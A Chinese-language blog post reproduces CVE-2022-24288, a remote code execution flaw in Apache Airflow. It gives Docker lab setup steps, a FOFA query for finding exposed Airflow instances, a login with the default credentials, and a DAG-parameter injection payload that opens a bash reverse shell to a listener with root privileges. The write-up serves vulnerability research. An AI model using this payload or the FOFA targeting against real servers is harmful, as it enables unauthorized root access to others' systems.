CVE-2022-24288 apache airflow RCE漏洞复现分析

1. 漏洞环境

fofa key: title="Airflow - DAGs" || body="Apache Airflow"

采用本地搭建漏洞测试环境

# 获取yaml文档
curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.2.3/docker-compose.yaml'


# 更改文件配置
vim docker-compose.yaml

# 添加或修改为以下文件内容
services:
  postgres:
    image: postgres:latest
    privileged: true

# 验证配置,-q参数表示仅验证配置,不输出
docker-compose config -q

# 初始化
docker-compose up airflow-init

# 启动docker
docker-compose -f docker-compose.yaml up -d

# 通过yourip:8080进行访问


全部为绿色的done则表示环境搭建成功,如果出现warning可以不用管(如果在验证配置阶段出现warning的话可以采用以下命令解决)

mkdir -p ./dags ./logs ./plugins
echo -e "AIRFLOW_UID=$(id -u)" > .env

2. 漏洞分析

从 example _ pass _ params _ via _ test _ command 脚本的源代码中可以看出,在模板表达式{{ params }}中有执行 bash 命令的函数,即 Foo 和 MIFF 参数。{{ params.{ Foo } }}是外部可控的

3. 复现过程

利用默认username和password为:airflow/airflow进行登录

登录后界面如下:

选择example_passing_params_via_test_command模块开启,更改配置并执行

此时选择kali针对999端口开启监听

配置文件处json插入反弹shell的payload

注意json中foo对应value为两对引号,用来闭合两边的引号

{"foo":"\";bash -i >& /dev/tcp/192.168.153.128/999 0>&1;\""}

结果如下所示

成功反弹shell,且默认为root权限

注意:

  1. uri为/login/?next={{BaseURL}}/home取到头部的session和响应体中的csrf_token,便于后续的登录;

  2. 在登录过程中,POST内容中携带csrf_token,请求头部中的Cookie为之前取到的session。

  3. 参考链接

posted @ 2022-10-09 16:46  sherlson  阅读(988)  评论(0编辑  收藏  举报